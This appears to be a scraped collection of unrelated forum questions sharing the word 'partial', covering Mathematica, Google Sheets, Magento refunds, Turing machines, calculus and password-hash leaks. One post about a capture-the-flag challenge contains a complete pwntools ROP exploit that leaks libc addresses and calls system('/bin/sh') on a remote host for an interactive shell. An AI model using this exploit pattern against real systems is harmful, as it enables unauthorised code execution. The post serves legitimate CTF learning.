Sum over powers of roots of unity gives only partial answer

Mathematica seems to be unable to handle sums over roots of unity. For example, Simplify[Sum[Exp[2 Pi I a b/m], {a, m}], {b, m} \[Element] Integers] yields 0 instead of a piecewise function like:$ $ \begin{cases} 0 & gcd(b,m)=1\ m & \text{otherwise} \end{cases} \ $ $ Has anybody managed to obtain the correct answer?

Partial cell formatting with CONCATENATE in Google Sheets

Is there a way to format partially using CONCATENATE in google sheets?

For example, =CONCATENATE("*", Sheet1!A1, Sheet1!B1), and I want to make the * bolded or blue in color or something else.

I realize that I could either:

  1. Split it across multiple cells and control the color (this does not work for the sheet I am working on because of all else that is going on in the sheet. To begin with, I have merged two cells in order to fit the text. Unmerging would cause the text to be obstructed. Changing the column width would mess with other entries in the same column.)
  2. Manually convert it to plain text and make the necessary formatting changes. But that too manual.

Upgrading from Magento 2.2.6 to 2.3.1 broke credit memo partial refund functionality

In credit memo, there is a field “Adjustment Refund” on the bottom. Before upgrading to 2.3.1 If I entered a value in this field, there was an “Update Totals” Button which would update total. But after upgrading to 2.3.1 this button does not appear. Attaching screenshots for more details.

Credit Memo Broken[![][1]]2

Is there a way to filter out partial matches from search results on YouTube?

When searching for “JoJo’s Bizarre Adventure,” I frequently just search the keyword “jojo,” but my first sight is often greeted by a musical artist by the same name.

Instead, I’d prefer that all my YouTube results not show a single result pertaining to the artist, and instead pertaining to the anime itself.

Is there a way to a filter out specific content from the search results?

Finding when a turing machine accepts, rejects, loops and its partial function

Finding when a turing machine (a) accepts, (b) rejects, (c) loops (d) partial function under $ \Sigma = \{0, 1\}$ .

This is the turing machine:

enter image description here

(a) 0

(b) emptyset

(c) What is looping is it when the turing machine is stuck at some value constantly going left and right?

(d) im not sure how to write partial function but I got the regex for this is$ $ (0+1)^* 0 (0+1)^*$ $

any help appreciated.

Magento 2.3.1 authorizenet-acceptjs does not support partial refunds

After upgrading from 2.2.7 -> 2.3.1, we have successfully switched from deprecated authorize.net MD5 based hash direct post to SHA-512 signature key method.
The issue with new authorizenet module is now we’r not able to create partial refunds.
Looking and comparing with old module, I found vendor/magento/module-authorizenet/Model/Directpost.php:68 has protected $ _canRefundInvoicePartial = true;

Question, what would be a proper way to extend new authorizenet module, to support partial refunds.

Thank you.

ROP Chain with pwntools hanging on partial puts statement

NOTE: The IP here is generic for the challenge and the instance referenced by the port has already been closed.

Hardening:

root@kali:~/htb/challenges/pwn/ropme# gdb -q ./ropme Reading symbols from ./ropme...(no debugging symbols found)...done. gdb-peda$   checksec  CANARY    : disabled FORTIFY   : disabled NX        : ENABLED PIE       : disabled RELRO     : Partial 

I have a binary that I have exploited locally and am now trying to port the exploit to a remote server.

The issue I have is that the script is hanging after I leak the memory of put in the GOT.

I thought the issue was the version of libc I was using, but having tried a few versions, I think what I am using is correct.

I have found the version by running the script and leaking puts…

Leaked: \x90\x06\x9b\x8c\x90\x7f root@kali:~/htb/challenges/pwn/ropme# libc-database/find puts 9b0690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) 

I noticed though that when I removed the section of the script that attempts to leak __libc_start_main the script hangs and if that is commented out it hangs on the payload being sent.

I think this is down to pwntools expecting a string that doesn’t fully print.

You can see from the below output that it only prints (via puts) a partial string from the expected program output. Only R out of string.. ROP me outside, how 'about dah?. I added the new line character below.

root@kali:~/htb/challenges/pwn/ropme# python exploit.py  [+] Opening connection to 159.65.208.41 on port 34582: Done [+] Leaked puts@GLIBC: \x90\x86{\x18\x18\x7f     R Traceback (most recent call last):   File "exploit.py", line 29, in <module>     p.recvuntil("ROP me outside, how 'about dah?\n")   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 305, in recvuntil     res = self.recv(timeout=self.timeout)   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv     return self._recv(numb, timeout) or ''   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv     if not self.buffer and not self._fillbuffer(timeout):   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer     data = self.recv_raw(self.buffer.get_fill_size())   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.py", line 37, in recv_raw     data = self.sock.recv(numb, *a) KeyboardInterrupt [*] Closed connection to 159.65.208.41 port 34582 

My question is, what is interfering with the output of puts or is the issue elsewhere in the implementation of my script?

Main script…

#!/usr/bin/python  from pwn import * from socket import *  HOST = '159.65.208.41' PORT = 34582  p = remote(HOST, PORT)  ## Stage 1 junk = "A" * 72 pop_rdi = p64(0x4006d3) got_puts = p64(0x601018) plt_puts = p64(0x4004e0) plt_main = p64(0x400626) got_main = p64(0x601020)  # Leak address of puts in libc payload = junk + pop_rdi + got_puts + plt_puts + plt_main p.recvuntil("ROP me outside, how 'about dah?\n") p.sendline(payload) leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") log.success("Leaked puts@GLIBC: " + str(leaked_puts)) leaked_puts = u64(leaked_puts)  # Leak address of __libc_main # payload = junk + pop_rdi + got_main + plt_puts + plt_main # p.recvuntil("ROP me outside, how 'about dah?\n") # p.sendline(payload) # leaked_got_main = p.recv()[:8].strip().ljust(8, "\x00") # log.success("Leaked __libc_start_main: " + str(leaked_got_main)) # leaked_got_main = u64(leaked_got_main)  # Stage 2 pop_rdi = p64(0x4006d3)  # libc6_2.23-0ubuntu10_amd64 + libc6_2.23-0ubuntu11_amd64 libc_puts = 0x6f690 libc_sys = 0x45390 libc_sh = 0x18cd57  offset = leaked_puts - libc_puts system = p64(offset + libc_sys) sh = p64(offset + libc_sh)  payload = junk + pop_rdi + sh + system  log.success("Only reaches here") p.recvuntil("ROP me outside, how 'about dah?\n") p.sendline(payload) log.success("Payload sent...")  # raw_input() p.interactive() 

How bad would a partial hash leak be, realistically?

Even though the current recommendation for storing passwords is the usage of a slow key derivation function such as Argon2, scrypt, PBKDF2 or bcrypt1, many websites still use the traditional hash(password + salt) method, with MD5, SHA-1 and SHA-256 being the most commonly used hash functions.

The SHA-1 hash of mySuperSecretPassword123 with the salt !8(L-_20hs is E5D0BEE0300BF17508CABA842084753685781907.

Assume an attacker would steal the salt and the first half of the hash, so E5D0BEE0300BF17508CA. We also assume that the attacker is aware that SHA-1 is being used and how the salt and the password are concatenated.

How difficult would it be for an attacker to recover the original password?


1 bcrypt technically isn’t a key derivation function, but for the purposes of this question it functions identically.

Partial differentiation of the general function homogeneous of degree n [on hold]

If $ f$ is homogeneous of degree $ n$ , $ f(tx,ty) = t^{n}f(x,y)$
show that $ f_{x}(tx,ty) = t^{n-1}f_{x}(x,y)$

My proof went a little wrong as follow:
$ u=tx, v=ty \quad f_{x}(tx,ty) = \frac{\partial f(u,v)}{\partial u} \cdot \frac{\partial u}{\partial x}+\frac{\partial f(u,v)}{\partial v}\cdot \frac{\partial v}{\partial x} = f_{u}(u,v) \cdot t$ …….(1)
$ \quad\quad\quad\quad\quad\quad\frac{\partial}{\partial x}(t^nf(x,y))=t^nf_{x}(x,y)$ …….(2)
(1)=(2)$ \qquad f_{u}(u,v)=t^{n-1}f_{x}(x,y)$
$ \quad \quad \quad\quad \,f_{u}(tx,ty) = t^{n-1}f_{x}(x,y)$


On the last line, the footnote on the left side is supposed to be $ x$ , however, I get $ u$ .